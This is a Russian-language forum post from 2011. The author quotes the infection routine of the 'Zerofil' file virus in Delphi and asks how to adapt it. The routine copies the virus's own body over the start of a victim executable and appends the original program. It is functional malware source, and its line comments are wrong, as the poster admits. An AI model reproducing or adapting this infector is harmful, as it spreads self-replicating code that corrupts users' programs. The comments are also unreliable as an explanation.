Показать сообщение отдельно
  #7  
Старый 08.05.2011, 22:59
link993 link993 вне форума
Прохожий
 
Регистрация: 08.05.2011
Сообщения: 36
Репутация: 10
Восклицание

Спасибо всем большое, кстати мой проект называется 'Вирус - это программа, а значит она может быть хорошей...' Насчет моей идеи задумался, вроде и тема интересная, но в тоже время сложная))) Решил взять с исходника нашего старого друга вируса "Zerofil" процедуру заражения а именно (прошу не копировать и не компилировать):

Код:
procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;  //массив от 1 до веса вируса
nr,nw:longint; //переменная типа Целое число, размер которого 32 бита
begin
try     // отключаем ошибки
randomize; //  Устанавливает генератор случайного числа на следующее значение
assignfile(f1,victim); //   Открываем файл F1 на перезапись, в данном случае вроде .exe
a:=random(200);        // енерирует случайное целое число или число с плавающей запятой от 0 до 200
rename(f1,'bad'+inttostr(a)) ;     // Переименовка файла на момент заражения с таким форматом bad+число от 0 до 200
filemode :=0;               // Определяет, как Reset будет открывать двоичный файл для перезаписи
assignfile(f2,paramstr(0));  // Открываем файл F2 на перезапись (Возвращается один из параметров используемых для запуска текущей программы )
reset(f2,1) ;                //  Открываем файл F2 для чтения, или двоичный файл для чтения/записи
seek(f2,0);                     // для чтения, или двоичный файл для чтения/записи
blockread(f2,buf,virsize);       // 	Перемещает указатель в двоичном файле в новую позицию
filemode:=2 ;            //   // Определяет, как Reset будет открывать двоичный файл для перезаписи
closefile(f2);         //    Закрывает  файл F2
assignfile(f1,victim);       //    Открываем файл F1 на перезапись, в данном случае вроде .exe
rewrite(f1,1);                // Открывает F1 для записи
blockwrite(f1,buf,virsize);   // Заражает вроде
assignfile(f2,'bad'+inttostr(a)); // Открываем файл F2 со случайным именем на перезапись
reset(f2,1);  // Открываем файл F2 для чтения, или двоичный файл для чтения/записи
seek(f2,0);     //  // для чтения, или двоичный файл для чтения/записи
repeat          //цикл
BlockRead(f2, Buf,virsize, NR);     //
BlockWrite(f1, Buf, NR, NW);      //
until (NR = 0) or (NW <> NR);     //
closefile(f1);           //
closefile(f2);       //
deletefile(pchar('bad'+inttostr(a)))        //
except    //
end;     //
end;

P.s комментарии к коду не мои)) Вижу, что тут полный бред написан)))


Возникла такая идея, если считывать в буфер "Buf: array[1..virsize] of byte;" не virsize вируса, а "virsize" программы project1.exe и уже этой программой "инфицировать " Project,ы.exe.. Как думаете получится, или я совсем бред несу?? ЗАранее спасибо...
Ответить с цитированием